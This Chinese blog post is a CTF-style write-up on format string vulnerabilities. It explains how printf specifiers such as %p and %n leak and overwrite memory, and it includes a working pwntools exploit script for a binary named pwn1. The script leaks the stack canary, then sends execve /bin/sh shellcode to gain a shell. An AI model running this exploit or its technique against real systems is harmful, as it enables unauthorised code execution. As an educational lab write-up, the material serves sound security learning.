格式化字符串漏洞

格式化字符串漏洞

格式化字符串漏洞原理
首先了解一下什么是格式化字符串:格式化字符串是用来告诉程序如何进行格式化输出的说明符。
引用参考文件的内容。附上
https://veritas501.space/2017/04/28/%E6%A0%BC%E5%BC%8F%E5%8C%96%E5%AD%97%E7%AC%A6%E4%B8%B2%E6%BC%8F%E6%B4%9E%E5%AD%A6%E4%B9%A0/#more.

   
%c:输出字符,配上%n可用于向指定地址写数据。
%d:输出十进制整数,配上%n可用于向指定地址写数据。
%x:输出16进制数据,如%i$x表示要泄漏偏移i处4字节长的16进制数据,%i$lx表示要泄漏偏移i处8字节长的16进制数据,32bit和64bit环境下一样。
%p:输出16进制数据,与%x基本一样,只是附加了前缀0x,在32bit下输出4字节,在64bit下输出8字节,可通过输出字节的长度来判断目标环境是32bit还是64bit。
%s:输出的内容是字符串,即将偏移处指针指向的字符串输出,如%i$s表示输出偏移i处地址所指向的字符串,在32bit和64bit环境下一样,可用于读取GOT表等信息。
%n:将%n之前printf已经打印的字符个数赋值给偏移处指针所指向的地址位置,如%100x%10$n表示将0x64写入偏移10处保存的指针所指向的地址(4字节),
%$hn表示写入的地址空间为2字节,
%$hhn表示写入的地址空间为1字节,
%$lln表示写入的地址空间为8字节,在32bit和64bit环境下一样。有时,直接写4字节会导致程序崩溃或等候时间过长,可以通过%$hn或%$hhn来适时调整。
%n是通过格式化字符串漏洞改变程序流程的关键方式,而其他格式化字符串参数可用于读取信息或配合%n写数据。  	

首先第一步还是检查一下
在这里插入图片描述发现没有开NX,可以用shellcode,开了Canary,

把题放到IDA中,反编译看一下主函数代码
在这里插入图片描述
在这里插入图片描述
然后在get_message函数中有个printf函数。我们发现输出没有标明输出的类型,这就造成了一个漏洞
我们就找到这个printf的地址,在此下断点
在这里插入图片描述

下面用gdb进行调试
在这里插入图片描述
在这里插入图片描述
入栈
在这里插入图片描述
然后就一直回车知道看到栈底
我们知道这个canary位于栈底上方一点
在这里插入图片描述

我们要算一下Canary的地址和栈底的地址
在这里插入图片描述
转换为十进制
在这里插入图片描述
因为这个是32位的,所以是4个字节4个字节的
136/4=34
124/4=31
所以栈底的地址是33,canary的地址是30(从零开始计数)

from pwn import *

shellcode="\x31\xc0\x31\xd2\x31\xdb\x31\xc9\x31\xc0\x31\xd2\x52\x68\x2f\x2f" \
    "\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x31\xc0\xb0" \
    "\x0b\xcd\x80\n"
context.log_level='debug'
p=process("./pwn1")
#p=remote('172.16.80.240',8000)


#########################leak canary,prev_ebp_addr################
p.recvuntil('name:')     #接收信息直到name为止
p.sendline('%p.'*40)     
leak_data=p.recvuntil('messages:')  #接收信息直到messages为止
address=leak_data.split('.')   #用点分隔  
for i in range(len(address)):
	print str(i)+':'+str(address[i])  #得到地址
canary=address[30]   #canary地址
print "canary="+canary
prev_ebp_addr=address[33]  #栈底地址
print "stack_addr="+prev_ebp_addr

#########################get shellcode_addr########################
shellcode_addr=int(prev_ebp_addr,16)-144+0x8  

#########################send shellcode and get shell##############
payload='a'*100+p32(int(canary,16))+'A'*12+p32(shellcode_addr)+shellcode
p.sendline(payload)
p.interactive()


“shellcode_addr=int(prev_ebp_addr,16)-144+0x8”
144是栈底的虚拟地址和真实地址之差
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值